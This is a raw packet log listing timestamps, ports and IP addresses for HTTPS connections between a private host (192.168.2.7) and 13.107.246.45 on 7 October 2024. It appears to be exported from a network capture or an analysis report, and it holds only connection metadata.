Oct 7, 2024 18:43:31.188154936 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.188234091 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.192912102 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.193002939 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.193109989 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.254776001 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.254796028 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.255016088 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.255019903 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.307959080 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.307985067 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.307996988 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.308002949 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.310533047 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.310534000 CEST	49787	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.310614109 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.310652018 CEST	443	49787	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.312463999 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.312490940 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.312504053 CEST	49788	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.312509060 CEST	443	49788	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.327400923 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.327452898 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.327512026 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.339669943 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.339679003 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.339735985 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.339772940 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.339833975 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.339885950 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.344661951 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.344675064 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.345017910 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.345025063 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.345114946 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.345153093 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.525353909 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.526072979 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.526153088 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.526206970 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.527108908 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.527126074 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.528141022 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.528150082 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.528459072 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.528481960 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.528493881 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.528501987 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.536377907 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.536418915 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.536480904 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.536835909 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.536849976 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.654082060 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.654135942 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.654191017 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.662142992 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.662173986 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.662190914 CEST	49791	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.662197113 CEST	443	49791	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.667787075 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.667815924 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.667870998 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.669599056 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:31.669608116 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:31.834737062 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:32.083909035 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.084412098 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.084456921 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.085918903 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.085946083 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.096436024 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.096806049 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.096843958 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.097156048 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.097166061 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.118083954 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.118469954 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.118522882 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.119950056 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.119961977 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.180198908 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.180273056 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.180370092 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.180497885 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.180521965 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.180536985 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.180545092 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.183303118 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.183336973 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.183486938 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.183576107 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.183587074 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.193320990 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.193700075 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.193816900 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.193865061 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.193865061 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.193890095 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.193907022 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.195518017 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.195564985 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.195682049 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.195802927 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.195811987 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.204235077 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.204710007 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.204719067 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.205159903 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.205163956 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.219866991 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.219911098 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.219976902 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.220061064 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.220061064 CEST	49795	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.220105886 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.220132113 CEST	443	49795	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.222341061 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.222364902 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.222637892 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.222826958 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.222837925 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.312207937 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.312359095 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.312417030 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.338414907 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.338429928 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.347628117 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.347655058 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.347795963 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.348172903 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.348186016 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.819756031 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.820489883 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.820514917 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.821156025 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.821161985 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.868819952 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.869415998 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.869435072 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.870136023 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.870141029 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.870810032 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.871196985 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.871213913 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:32.871721029 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:32.871726036 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.038589001 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.038664103 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.039143085 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.039460897 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.039479017 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.039515018 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.039520979 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.043330908 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.043368101 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.043844938 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.044020891 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.044032097 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.107883930 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.107966900 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108083010 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.108402014 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108426094 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.108432055 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108441114 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108453989 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.108458996 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108490944 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.108521938 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.108551025 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.110116959 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.110131979 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.110153913 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.110158920 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.113512993 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.113553047 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.113631010 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.113804102 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.113850117 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.113913059 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.114200115 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.114212990 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.114259005 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.114274979 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.123663902 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.124205112 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.124247074 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.124886036 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.124890089 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.219913006 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.220016956 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.220258951 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.220316887 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.220335007 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.220345020 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.220350027 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.224088907 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.224142075 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.224267960 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.224457026 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.224476099 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.708493948 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.710010052 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.710011005 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.710027933 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.710042953 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.741339922 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.744302034 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.744324923 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.744906902 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.744913101 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.752928972 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.753326893 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.753350973 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:33.753830910 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:33.753840923 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.829898119 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.829917908 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.829969883 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.829977036 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.830013990 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.830152988 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.830230951 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.833142996 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.833216906 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.833558083 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.859842062 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.859842062 CEST	49803	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.859864950 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.859874964 CEST	443	49803	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.874293089 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.874335051 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.874360085 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.874373913 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.875581026 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.875643015 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.876015902 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.876032114 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.876363993 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.876379013 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.881994963 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.882006884 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.922724962 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.922785044 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.922852039 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.922880888 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.922928095 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.922988892 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.933681011 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.933698893 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.933746099 CEST	49804	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.933754921 CEST	443	49804	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.940149069 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.940222979 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.940308094 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.941116095 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.941164970 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.941229105 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.943175077 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.943185091 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.943243980 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.943423033 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.943473101 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.945096016 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.945113897 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.945857048 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.945867062 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.968130112 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.968157053 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.968231916 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.968297005 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.968857050 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.968911886 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.969072104 CEST	49805	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.969104052 CEST	443	49805	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.974577904 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.974651098 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.974740982 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.974926949 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.974926949 CEST	49806	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:34.974944115 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:34.974965096 CEST	443	49806	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.033859015 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.033915997 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.033979893 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.037203074 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.037246943 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.037301064 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.037693977 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.037714958 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.040102959 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.040129900 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.575323105 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.575939894 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.575964928 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.576453924 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.576457977 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.588423967 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.588890076 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.588928938 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.589320898 CEST	49809	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.589327097 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.625655890 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.626075983 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.626106024 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.626585007 CEST	49810	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.626594067 CEST	443	49810	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.664223909 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.664767981 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.664809942 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.665566921 CEST	49812	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.665574074 CEST	443	49812	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.673187017 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.673563957 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.673621893 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.673758984 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.673774004 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.673788071 CEST	49808	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.673793077 CEST	443	49808	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.680048943 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.680087090 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.680140018 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.680516005 CEST	49814	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.680530071 CEST	443	49814	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.681397915 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.693331957 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.693353891 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.693922997 CEST	49811	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:35.693929911 CEST	443	49811	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.713650942 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.714390993 CEST	443	49809	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:35.714442015 CEST	49809	443	192.168.2.7	13.107.246.45
